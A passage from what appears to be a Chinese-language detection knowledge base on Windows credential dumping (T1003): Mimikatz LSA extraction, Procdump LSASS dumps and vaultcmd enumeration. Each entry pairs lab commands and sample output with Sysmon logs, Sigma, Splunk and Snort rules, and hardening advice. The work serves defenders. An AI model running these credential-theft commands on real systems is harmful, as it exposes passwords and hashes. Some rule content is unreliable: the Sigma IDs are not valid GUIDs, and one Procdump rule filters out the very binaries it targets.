监控`C:\\Temp\\`或`%temp%`的`.hiv`文件创建\n- **网络流量**（可选）：\n  - 捕获`.hiv`文件传输（SMB 445/TCP）\n\n## 测试复现\n\n### 环境配置\n- 系统：Windows Server 2012（WDigest启用）\n- 工具：Mimikatz、reg.exe\n- 用户：Administrator（密码：Password123）\n- 日志：Sysmon（事件ID1、7、13）、Windows安全日志\n- 路径：C:\\Temp\\\n\n### 复现步骤\n1. **启用WDigest**：\n   ```cmd\n   reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n   ```\n2. **提取LSASS凭据**：\n   ```cmd\n   cd C:\\Tools\\mimikatz\n   mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit\n   ```\n   - 输出：\n     ```\n     wdigest:\n       * Username: Administrator\n       * Domain: ABCC\n       * Password: Password123\n     ```\n3. **导出LSA机密**：\n   ```cmd\n   reg save HKEY_LOCAL_MACHINE\\SECURITY C:\\Temp\\security.hiv\n   ```\n   - 输出：`操作成功完成。`\n4. **验证日志**：\n   - Sysmon事件ID1：确认`mimikatz.exe`执行。\n   - Sysmon事件ID13：确认`HKLM\\SECURITY\\Policy\\Secrets`访问。\n\n## 测试留痕\n\n### Sysmon日志\n- **事件ID1**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\"</Data>\n      <Data Name=\"User\">NT AUTHORITY\\SYSTEM</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID7**（lsass.exe模块加载）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ImageLoaded\">C:\\Windows\\System32\\lsasrv.dll</Data>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID13**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetObject\">HKLM\\SECURITY\\Policy\\Secrets</Data>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"User\">NT AUTHORITY\\SYSTEM</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Windows安全日志\n- **事件ID4673**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"PrivilegeName\">SeDebugPrivilege</Data>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"SubjectUserName\">SYSTEM</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4656**（需启用审计）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ObjectName\">\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Secrets</Data>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"SubjectUserName\">SYSTEM</Data>\n    </EventData>\n  </Event>\n  ```\n\n### 文件系统\n- 文件：`C:\\Temp\\security.hiv`（若使用reg.exe导出）\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - Sysmon事件ID1：检测`mimikatz.exe`或`reg.exe`执行。\n   - Sysmon事件ID13：监控`HKLM\\SECURITY\\Policy\\Secrets`访问。\n   - Windows事件ID4673：捕获`SeDebugPrivilege`调用。\n2. **文件监控**：\n   - 审计`C:\\Temp\\`或`%temp%`的`.hiv`文件创建。\n   - 监控`.hiv`文件传输。\n3. **行为分析**：\n   - 检测非预期SYSTEM权限进程访问LSASS或注册表。\n   - 监控WDigest注册表键（`HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest`）修改。\n4. **网络监控**：\n   - 捕获`.hiv`文件传输（SMB 445/TCP）。\n5. **关联分析**：\n   - 结合事件ID4688和4673，检测Mimikatz运行。\n   - 监控后续凭据使用（如异常登录事件ID4624）。\n\n### Sigma规则\n#### 规则一：Mimikatz提取LSA凭据\n```yaml\ntitle: Mimikatz提取LSA凭据检测\nid: p6q7r8s9-0t1u-2v3w-kx2l-9m0n1o2p3q4r\nstatus: stable\ndescription: 检测Mimikatz执行sekurlsa::logonpasswords提取LSA凭据\nreferences:\n  - https://attack.mitre.org/techniques/T1003/004/\ntags:\n  - attack.credential_access\n  - attack.t1003.004\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID|in:\n      - 4688\n      - 1\n    Image|endswith: '\\mimikatz.exe'\n    CommandLine|contains: 'sekurlsa::logonpasswords'\n  condition: selection\nfields:\n  - EventID\n  - Image\n  - CommandLine\n  - User\nfalsepositives:\n  - 安全测试工具使用\nlevel: critical\n```\n\n#### 规则二：LSA注册表访问\n```yaml\ntitle: LSA机密注册表访问检测\nid: q7r8s9t0-1u2v-3w4x-ly3m-0n1o2p3q4r5s\nstatus: stable\ndescription: 检测Mimikatz或reg.exe访问LSA机密注册表\nreferences:\n  - https://attack.mitre.org/techniques/T1003/004/\ntags:\n  - attack.credential_access\n  - attack.t1003.004\nlogsource:\n  product: windows\n  category: registry_event\ndetection:\n  selection:\n    EventID: 13\n    TargetObject|contains: '\\SECURITY\\Policy\\Secrets'\n    Image|endswith:\n      - '\\mimikatz.exe'\n      - '\\reg.exe'\n  condition: selection\nfields:\n  - EventID\n  - TargetObject\n  - Image\n  - User\nfalsepositives:\n  - 管理员合法注册表操作\nlevel: high\n```\n\n### Splunk规则\n```spl\nindex=sysmon (EventCode=1 Image=\"*mimikatz.exe\" CommandLine=\"*sekurlsa::logonpasswords*\"\nOR EventCode=13 TargetObject=\"*\\SECURITY\\Policy\\Secrets*\" (Image=\"*mimikatz.exe\" OR Image=\"*reg.exe\"))\n| fields EventCode,Image,CommandLine,TargetObject,User\n```\n\n规则说明：\n- 检测Mimikatz的`sekurlsa::logonpasswords`命令和LSA机密注册表访问。\n- 降低误报：聚焦特定命令和注册表路径。\n\n## 防御建议\n1. **权限控制**：\n   - 限制`SeDebugPrivilege`权限，仅授权必要管理员。\n   - 禁止非管理员访问`HKLM\\SECURITY\\Policy\\Secrets`。\n2. **日志监控**：\n   - 部署Sysmon，启用事件ID1、7、13。\n   - 启用注册表审计，监控`SECURITY\\Policy\\Secrets`。\n   - 使用SIEM关联Mimikatz和注册表事件。\n3. **凭据保护**：\n   - 禁用WDigest（组策略：`HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential=0`）。\n   - 启用Credential Guard（Windows 10/2016+）。\n   - 禁用自动登录，防止注册表存储明文密码。\n4. **工具限制**：\n   - 使用AppLocker限制`mimikatz.exe`和`reg.exe`非预期执行。\n   - 监控第三方工具（如pwdump7）运行。\n5. **主动防御**：\n   - 部署诱捕凭据，监控LSASS访问。\n   - 使用EDR检测Mimikatz或LSASS异常行为。\n\n## 参考推荐\n- MITRE ATT&CK T1003.004:  \n  <https://attack.mitre.org/techniques/T1003/004/>\n- LSA凭据提取:  \n  <https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/>\n- Mimikatz LSA模块:  \n  <https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump>\n- Pwdump7:  \n  <http://passwords.openwall.net/b/pwdump/pwdump7.zip>\n- WDigest安全配置:  \n  <https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-allow-local-system-to-use-computer-identity-for-ntlm>\n- Sysmon配置:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>"
  },
  {
    "path": "Windows/08凭证访问/T1003-win-Procdump凭证转储.md",
    "content": "# T1003-Win-Procdump明文凭证\n\n## 描述\n\n凭据导出是指攻击者从操作系统或软件中提取登录凭据（明文密码或哈希）以进行横向移动或访问受限资源。Windows系统中，用户登录后，凭据存储在本地安全机构子系统服务（LSASS）进程内存中。攻击者可通过工具如Procdump转储LSASS进程内存，并在本地使用Mimikatz等工具提取明文密码或哈希。此技术利用SSPI相关的安全支持提供商（SSP），如MSV、WDigest、Kerberos和CredSSP，获取存储的凭据。成功提取凭据后，攻击者可用于权限提升、持久化或进一步攻击。\n\n## 测试案例\n\n**测试环境**：\n- 系统：Windows Server 2008R2/2016或Windows7/10\n- 工具：Procdump（Sysinternals）、Mimikatz\n- 要求：本地管理员权限、启用Sysmon日志、域环境（可选，lab.local）\n- 用户：Administrator（测试账户）\n\n**测试准备**：\n1. 下载Procdump（<https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>）和Mimikatz（<https://github.com/gentilkiwi/mimikatz>）。\n2. 安装Sysmon并配置事件ID1（进程创建）、10（进程访问）、11（文件操作）。\n3. 启用Windows安全日志审计（组策略：计算机配置>策略>Windows设置>安全设置>本地策略>审核策略>进程跟踪）。\n4. 确保目标系统有活跃用户会话（凭据存储在LSASS）。\n\n**测试步骤**：\n1. **使用Procdump转储LSASS进程内存**（目标主机，管理员权限）：\n   ```cmd\n   procdump64.exe -ma lsass.exe lsass_dump.dmp\n   ```\n   预期输出：\n   ```\n   ProcDumpv8.0-Writesprocessdumpfiles\n   [13:42:47]Dump1initiated:lsass_dump.dmp\n   [13:42:50]Dump1writing:Estimateddumpfilesizeis50MB.\n   [13:42:51]Dump1complete:50MBwrittenin3.3seconds\n   ```\n2. **将转储文件传输到本地分析系统**（通过SMB、FTP等）。\n3. **使用Mimikatz提取凭据**（本地系统）：\n   ```cmd\n   mimikatz.exe \"sekurlsa::minidump lsass_dump.dmp\" \"sekurlsa::logonpasswords\" exit\n   ```\n   预期输出：\n   ```\n   AuthenticationId:0;999(00000000:000003e7)\n   Session:Interactivefrom1\n   UserName:Administrator\n   Domain:LAB\n   LogonServer:DC\n   LogonTime:2025-06-1713:40:00\n   SID:S-1-5-21-...\n   msv:\n     [00000003]Primary\n       *Username:Administrator\n       *Domain:LAB\n       *NTLM:<NTLMHash>\n       *SHA1:<SHA1Hash>\n   wdigest:\n     *Username:Administrator\n     *Domain:LAB\n     *Password:Password123\n   ```\n4. **验证提取的凭据**：\n   使用提取的密码（如Password123）或哈希尝试登录其他系统。\n\n**参考资源**：\n- Procdump使用指南：<https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>\n- Mimikatz文档：<https://github.com/gentilkiwi/mimikatz>\n- LSASS凭据提取：<https://adsecurity.org/?p=1760>\n\n## 检测日志\n\n**数据来源**：\n- **Sysmon日志**（推荐）：\n  - 事件ID1：进程创建（procdump.exe）\n  - 事件ID10：进程访问（procdump访问lsass.exe）\n  - 事件ID11：文件操作（lsass_dump.dmp创建）\n- **Windows安全日志**：\n  - 事件ID4688：新进程创建（procdump.exe）\n  - 事件ID4656：进程访问lsass.exe（需启用对象访问审计）\n- **网络流量**：\n  - 捕获转储文件传输（SMB445/TCP、FTP21/TCP等）。\n- **PowerShell日志**（可选）：\n  - 事件ID4103/4104：若通过PowerShell调用procdump。\n\n**关键日志字段**：\n- 事件ID1/4688：\n  - `Image`：C:\\path\\to\\procdump.exe或procdump64.exe\n  - `CommandLine`：包含`-malsass.exe`\n  - `OriginalFileName`：procdump\n  - `ParentImage`：cmd.exe或powershell.exe\n- 事件ID10：\n  - `SourceImage`：procdump.exe\n  - `TargetImage`：lsass.exe\n- 事件ID11：\n  - `TargetFilename`：lsass_dump.dmp\n\n## 测试复现\n\n**环境配置**：\n- 系统：WindowsServer2008R2\n- 工具：Procdump64.exe、Mimikatz\n- 用户：Administrator（密码：Password123）\n- 日志：Sysmon（事件ID1、10、11）\n- 路径：C:\\Users\\Administrator\\Desktop\\Procdump\n\n**复现步骤**：\n1. 执行Procdump转储LSASS：\n   ```cmd\n   C:\\Users\\Administrator\\Desktop\\Procdump>procdump64.exe -ma lsass.exe 1.dmp\n   ProcDump v8.0 - Writes process dump files\n   [13:42:47] Dump 1 initiated: C:\\Users\\Administrator\\Desktop\\Procdump\\1.dmp\n   [13:42:50] Dump 1 writing: Estimated dump file size is 50 MB.\n   [13:42:51] Dump 1 complete: 50 MB written in 3.3 seconds\n   ```\n2. 传输1.dmp到本地系统（通过共享文件夹）。\n3. 使用Mimikatz提取凭据：\n   ```cmd\n   C:\\Tools\\mimikatz>mimikatz.exe \"sekurlsa::minidump 1.dmp\" \"sekurlsa::logonpasswords\" exit\n   msv:\n     *Username:Administrator\n     *Domain:LAB\n     *NTLM:<NTLMHash>\n   wdigest:\n     *Username:Administrator\n     *Domain:LAB\n     *Password:Password123\n   ```\n4. 验证日志：检查Sysmon事件ID1（procdump执行）、10（lsass访问）、11（1.dmp创建）。\n\n## 测试留痕\n\n**Sysmon日志**：\n- **事件ID1**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"Image\">C:\\Users\\Administrator\\Desktop\\Procdump\\procdump64.exe</Data>\n      <DataName=\"CommandLine\">procdump64.exe -ma lsass.exe 1.dmp</Data>\n      <DataName=\"OriginalFileName\">procdump</Data>\n      <DataName=\"ParentImage\">C:\\Windows\\System32\\cmd.exe</Data>\n      <DataName=\"User\">LAB\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID10**（进程访问）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"SourceImage\">C:\\Users\\Administrator\\Desktop\\Procdump\\procdump64.exe</Data>\n      <DataName=\"TargetImage\">C:\\Windows\\System32\\lsass.exe</Data>\n      <DataName=\"CallTrace\">procdump64.exe|ntdll.dll|kernel32.dll</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID11**（文件创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"TargetFilename\">C:\\Users\\Administrator\\Desktop\\Procdump\\1.dmp</Data>\n      <DataName=\"Image\">C:\\Users\\Administrator\\Desktop\\Procdump\\procdump64.exe</Data>\n    </EventData>\n  </Event>\n  ```\n\n**Windows安全日志**：\n- **事件ID4688**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"ProcessName\">C:\\Users\\Administrator\\Desktop\\Procdump\\procdump64.exe</Data>\n      <DataName=\"CommandLine\">procdump64.exe -ma lsass.exe 1.dmp</Data>\n      <DataName=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n**网络日志**（若涉及文件传输）：\n- SMB流量（445/TCP）：传输1.dmp文件。\n\n## 检测规则/思路\n\n### Sigma规则\n\n**规则一：检测Procdump转储LSASS行为**：\n```yaml\ntitle: Procdump转储LSASS凭据检测\nid: i9d0e1f2-3g4h-5i6j-dk5e-2f3g4h5i6j7k\nstatus: stable\ndescription: 检测使用Procdump转储LSASS进程内存以获取凭据的行为\nreferences:\n  -https://attack.mitre.org/techniques/T1003/\n  -https://adsecurity.org/?p=1760\ntags:\n  -attack.credential_access\n  -attack.t1003\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    EventID|in:\n      -4688\n      -1\n    OriginalFileName: 'procdump'\n    CommandLine|contains:\n      -'-malsass.exe'\n      -'lsass.exe'\n  filter:\n    Image|endswith:\n      -'\\procdump.exe'\n      -'\\procdump64.exe'\n  condition: selection and not filter\nfields:\n  -ComputerName\n  -User\n  -Image\n  -CommandLine\n  -OriginalFileName\nfalsepositives:\n  -管理员合法使用Procdump进行调试\n  -安全测试工具误报\nlevel: critical\n```\n\n**规则二：检测Procdump访问LSASS进程**：\n```yaml\ntitle: Procdump访问LSASS进程检测\nid: j0e1f2g3-4h5i-6j7k-el6f-3g4h5i6j7k8l\nstatus: stable\ndescription: 检测Procdump尝试访问LSASS进程的行为\nreferences:\n  -https://attack.mitre.org/techniques/T1003/\ntags:\n  -attack.credential_access\n  -attack.t1003\nlogsource:\n  category: process_access\n  product: windows\ndetection:\n  selection:\n    EventID: 10\n    SourceImage|endswith:\n      -'\\procdump.exe'\n      -'\\procdump64.exe'\n    TargetImage|endswith: '\\lsass.exe'\n  condition: selection\nfields:\n  -ComputerName\n  -SourceImage\n  -TargetImage\n  -CallTrace\nfalsepositives:\n  -合法调试工具访问LSASS\nlevel: high\n```\n\n**规则优化说明**：\n- 规则一：利用`OriginalFileName`（Sysmon10.2+）检测Procdump，即使文件名被重命名。\n- 规则二：聚焦事件ID10，检测Procdump对LSASS的直接访问行为。\n- 排除合法Procdump路径（`\\procdump.exe`、`\\procdump64.exe`），降低误报。\n\n### 检测思路\n\n1. **日志监控**：\n   - 监控事件ID1/4688，检测`procdump.exe`执行，关注命令行包含`lsass.exe`。\n   - 监控事件ID10，检测`procdump.exe`访问`lsass.exe`。\n   - 监控事件ID11，检测`.dmp`文件创建。\n\n2. **行为分析**：\n   - 检测非管理员用户运行Procdump的异常行为。\n   - 监控短时间内多次LSASS内存转储尝试。\n\n3. **文件监控**：\n   - 监控`.dmp`文件创建，关注路径如`C:\\Users\\*\\*.dmp`。\n   - 启用对象访问审计，检测`lsass.exe`的异常访问。\n\n4. **网络监控**：\n   - 捕获`.dmp`文件传输流量（SMB445/TCP、FTP21/TCP）。\n   - 示例Snort规则：\n     ```snort\n     alert tcp any any -> any 445 (msg:\"LSASS Dump File Transfer\"; content:\".dmp\"; sid:1000005;)\n     ```\n\n5. **关联分析**：\n   - 结合事件ID4624（登录成功），检测转储后的异常登录。\n   - 监控Mimikatz执行（事件ID1，`mimikatz.exe`）。\n\n## 防御建议\n\n1. **权限管理**：\n   - 限制普通用户对`lsass.exe`的访问权限（通过组策略）。\n   - 仅允许必要管理员使用Procdump。\n\n2. **日志与监控**：\n   - 部署Sysmon，启用事件ID1、10、11。\n   - 启用事件ID4688和4656（对象访问审计）。\n   - 使用SIEM（如Splunk）关联Procdump执行和LSASS访问。\n\n3. **凭据保护**：\n   - 启用CredentialGuard（Windows10/2016+），防止LSASS存储明文凭据。\n   - 禁用WDigest协议（组策略：计算机配置>管理模板>MSSecurity Guide>WDigestAuthentication）。\n\n4. **工具限制**：\n   - 使用AppLocker或WDAC限制`procdump.exe`和`mimikatz.exe`的执行。\n   - 监控非Sysinternals签名的Procdump副本。\n\n5. **主动防御**：\n   - 部署诱捕凭据（HoneyCredentials），监控异常LSASS访问。\n   - 使用EDR工具检测Procdump和Mimikatz行为。\n\n## 参考推荐\n\n- MITREATT&CK:CredentialDumping(T1003)  \n  <https://attack.mitre.org/techniques/T1003/>\n- Procdump使用指南  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>\n- Mimikatz文档  \n  <https://github.com/gentilkiwi/mimikatz>\n- WindowsSSPI模型  \n  <https://docs.microsoft.com/zh-cn/windows/win32/secauthn/sspi-model>\n- MSV身份验证包  \n  <https://blog.csdn.net/lionzl/article/details/7725116>\n- WDigest摘要认证协议  \n  <https://www.4hou.com/info/news/8126.html>\n- Kerberos身份认证协议  \n  <https://www.cnblogs.com/adylee/articles/893448.html>\n- CredSSP协议  \n  <https://docs.microsoft.com/zh-cn/windows/win32/secauthn/credential-security-support-provider>\n- LSASS凭据提取防御  \n  <https://adsecurity.org/?p=1760>\n"
  },
  {
    "path": "Windows/08凭证访问/T1003-win-vaultcmd获取系统凭证基本信息.md",
    "content": "# T1003-Win-Vaultcmd获取系统凭据基本信息\n\n## 描述\n\n凭据导出是指攻击者从操作系统或软件中提取账户登录名和密码（明文或哈希）以进行横向移动或访问受限资源。Windows Credential Manager存储用户凭据（如Web、Windows、证书等），攻击者可通过`vaultcmd.exe`（Windows内置工具）查询和提取这些凭据信息。`vaultcmd`允许列出凭据保管库（Vault）、凭据概要及其属性，但无法直接提取明文密码（需结合其他工具如Mimikatz）。此技术通常用于初始凭据收集或权限提升。\n\n## 测试案例\n\n**测试环境**：\n- 系统：Windows Server 2016/2019或Windows10\n- 工具：vaultcmd.exe（系统自带）\n- 要求：本地管理员权限或普通用户权限（视凭据访问权限而定）、启用Windows安全日志或Sysmon\n- 域环境：lab.local（可选）\n\n**测试准备**：\n1. 确保系统启用了Credential Manager（默认启用）。\n2. 启用Windows安全日志审计（组策略：计算机配置>策略>Windows设置>安全设置>本地策略>审核策略>进程跟踪）。\n3. 安装Sysmon（可选，增强进程监控）。\n4. 保存测试用凭据（如浏览器保存的Web凭据）。\n\n**测试步骤**：\n1. **列出所有凭据保管库**：\n   ```cmd\n   vaultcmd/list\n   ```\n   预期输出：\n   ```\n   Currentlyavailablecredentialvaults:\n   Vault:WebCredentials\n     VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n   Vault:WindowsCredentials\n     VaultGUID:{77BC582B-0E2E-4F8E-B8A6-3F4A5B6C7D8E}\n   ```\n2. **列出保管库概要和GUID**：\n   ```cmd\n   vaultcmd/listschema\n   ```\n   预期输出：\n   ```\n   Vault schema:\n   Name: Web Credentials\n    GUID: {4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n   Name: Windows Credentials\n    GUID: {77BC582B-0E2E-4F8E-B8A6-3F4A5B6C7D8E}\n   ```\n3. **列出“WebCredentials”保管库的凭据**：\n   ```cmd\n   vaultcmd /listcreds:\"WebCredentials\"\n   ```\n   或（中文系统，使用GUID）：\n   ```cmd\n   vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n   ```\n   预期输出：\n   ```\n   Credential:https://example.com\n   ResourceName:example.com\n   UserName:testuser\n   LastModified:2025-06-17 10:30:00 AM\n   ```\n4. **列出保管库属性**：\n   ```cmd\n   vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n   ```\n   预期输出：\n   ```\n   Vaultproperties:\n     VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n     Location:C:\\Users\\testuser\\AppData\\Local\\Microsoft\\Vault\\{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n     CredentialCount:1\n     ProtectionMethod:DPAPI\n   ```\n\n**参考资源**：\n- WindowsCredentialManager信息获取：<https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%ADCredential-Manager%E7%9A%84%E4%BF%A1%E6%81%AF%E8%8E%B7%E5%8F%96/>\n- MITREATT&CKT1003：<https://attack.mitre.org/techniques/T1003/>\n\n## 检测日志\n\n**数据来源**：\n- **Windows安全日志**：\n  - 事件ID4688：新进程创建（vaultcmd.exe）\n- **Sysmon日志**（推荐）：\n  - 事件ID1：进程创建（vaultcmd.exe）\n  - 事件ID3：网络连接（若凭据涉及远程服务）\n- **PowerShell日志**（可选）：\n  - 事件ID4103/4104：若通过PowerShell调用vaultcmd\n- **文件访问日志**：\n  - 监控`%localappdata%\\Microsoft\\Vault\\`路径的文件访问（需启用对象访问审计）。\n\n**关键日志字段**：\n- 事件ID4688/1：\n  - `ProcessName`：C:\\Windows\\System32\\VaultCmd.exe\n  - `CommandLine`：包含`/list`、`/listschema`、`/listcreds`、`/listproperties`\n  - `ParentProcessName`：C:\\Windows\\System32\\cmd.exe\n- 事件ID3（Sysmon）：\n  - `DestinationPort`：可能涉及Web服务端口（如80、443）\n\n## 测试复现\n\n**环境配置**：\n- 系统：Windows10\n- 工具：vaultcmd.exe\n- 用户：testuser（普通用户或管理员）\n- 凭据：保存Web凭据（如浏览器登录example.com）\n\n**复现步骤**：\n1. 打开CMD（以testuser身份）：\n   ```cmd\n   C:\\Users\\testuser>vaultcmd /list\n   ```\n   输出：\n   ```\n   Currentlyavailablecredentialvaults:\n   Vault:WebCredentials\n     VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n   ```\n2. 查询WebCredentials凭据：\n   ```cmd\n   C:\\Users\\testuser>vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n   ```\n   输出：\n   ```\n   Credential:https://example.com\n     ResourceName:example.com\n     UserName:testuser\n     LastModified:2025-06-17\n   ```\n3. 查询保管库属性：\n   ```cmd\n   C:\\Users\\testuser>vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n   ```\n   输出：\n   ```\n   Vaultproperties:\n     VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n     Location:C:\\Users\\testuser\\AppData\\Local\\Microsoft\\Vault\\{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\n     CredentialCount:1\n     ProtectionMethod:DPAPI\n   ```\n4. 验证日志：检查事件ID4688（Windows安全日志）或事件ID1（Sysmon）。\n\n## 测试留痕\n\n**Windows安全日志**：\n- **事件ID4688**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"ProcessName\">C:\\Windows\\System32\\VaultCmd.exe</Data>\n      <DataName=\"CommandLine\">vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}</Data>\n      <DataName=\"ParentProcessName\">C:\\Windows\\System32\\cmd.exe</Data>\n      <DataName=\"SubjectUserName\">testuser</Data>\n    </EventData>\n  </Event>\n  ```\n\n**Sysmon日志**：\n- **事件ID1**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"Image\">C:\\Windows\\System32\\VaultCmd.exe</Data>\n      <DataName=\"CommandLine\">vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}</Data>\n      <DataName=\"ParentImage\">C:\\Windows\\System32\\cmd.exe</Data>\n      <DataName=\"User\">LAB\\testuser</Data>\n    </EventData>\n  </Event>\n  ```\n\n**文件访问日志**（需启用对象访问审计）：\n- 访问路径：`C:\\Users\\testuser\\AppData\\Local\\Microsoft\\Vault\\{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}`\n\n**注意**：`vaultcmd`本身不直接提取明文密码，日志仅记录查询行为。若攻击者结合Mimikatz提取明文，需监控Mimikatz相关进程（参考T1003.001）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n**规则一：检测vaultcmd凭据查询行为**：\n```yaml\ntitle: VaultCmd凭据查询检测\nid: h8c9d0e1-2f3g-4h9i-cj4d-1e2f3g4h5i6j\nstatus: stable\ndescription: 检测使用vaultcmd.exe查询Windows Credential Manager凭据的行为\nreferences:\n  -https://attack.mitre.org/techniques/T1003/\n  -https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%ADCredential-Manager%E7%9A%84%E4%BF%A1%E6%81%AF%E8%8E%B7%E5%8F%96/\ntags:\n  -attack.credential_access\n  -attack.t1003\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    EventID|in:\n      -4688\n      -1\n    Image|endswith: '\\VaultCmd.exe'\n    CommandLine|contains:\n      -'/list'\n      -'/listschema'\n      -'/listcreds'\n      -'/listproperties'\n  condition: selection\nfields:\n  -ComputerName\n  -User\n  -Image\n  -CommandLine\nfalsepositives:\n  -管理员合法查询CredentialManager\n  -系统维护脚本调用vaultcmd\nlevel: medium\n```\n\n**规则优化说明**：\n- 聚焦`vaultcmd.exe`的典型命令行参数（`/list`、`/listschema`、`/listcreds`、`/listproperties`）。\n- 支持Windows安全日志（4688）和Sysmon（1），提高覆盖率。\n- 排除合法管理员操作，降低误报。\n\n### 检测思路\n\n1. **日志监控**：\n   - 监控事件ID4688/1，检测`vaultcmd.exe`进程创建及命令行参数。\n   - 检查`ParentProcessName`，关注非预期父进程（如cmd.exe而非管理工具）。\n\n2. **行为分析**：\n   - 检测非管理员用户运行`vaultcmd`的异常行为。\n   - 监控短时间内多次`vaultcmd`执行，可能是自动化脚本。\n\n3. **文件监控**：\n   - 启用对象访问审计，监控`%localappdata%\\Microsoft\\Vault\\`路径的访问。\n   - 检查异常进程（如非系统进程）访问Vault文件。\n\n4. **关联分析**：\n   - 结合事件ID4624（登录成功），检测`vaultcmd`执行后的异常登录行为。\n   - 若发现`mimikatz.exe`或其他凭据提取工具，关联分析以确认明文凭据提取。\n\n5. **Sysmon增强**：\n   - 使用事件ID1监控`vaultcmd.exe`进程。\n   - 事件ID11监控Vault文件夹的文件操作。\n\n## 防御建议\n\n1. **权限管理**：\n   - 限制普通用户对CredentialManager的访问权限。\n   - 使用组策略禁用非必要用户对`%localappdata%\\Microsoft\\Vault\\`的写权限。\n\n2. **日志与监控**：\n   - 启用事件ID4688（进程创建）和对象访问审计，监控`vaultcmd.exe`和Vault文件夹。\n   - 部署Sysmon，记录事件ID1（进程创建）和11（文件操作）。\n   - 使用SIEM（如Splunk）关联`vaultcmd`执行和异常登录行为。\n\n3. **凭据保护**：\n   - 启用DPAPI增强保护，防止凭据被轻易解密。\n   - 定期清理不必要的保存凭据（如浏览器Web凭据）。\n\n4. **工具限制**：\n   - 使用AppLocker或WDAC限制`vaultcmd.exe`的非管理员执行。\n   - 监控Mimikatz等工具，防止结合`vaultcmd`提取明文凭据。\n\n5. **主动防御**：\n   - 部署诱捕凭据（HoneyCredentials），监控异常访问。\n   - 使用EDR工具检测`vaultcmd.exe`和可疑父进程（如cmd.exe）。\n\n## 参考推荐\n\n- MITREATT&CK:CredentialDumping(T1003)  \n  <https://attack.mitre.org/techniques/T1003/>\n- WindowsCredentialManager信息获取  \n  <https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%ADCredential-Manager%E7%9A%84%E4%BF%A1%E6%81%AF%E8%8E%B7%E5%8F%96/>\n- WindowsVault命令参考  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vaultcmd>"
  },
  {
    "path": "Windows/08凭证访问/T1003-win-使用Windows任务管理器转储Lsass.exe内存.md",
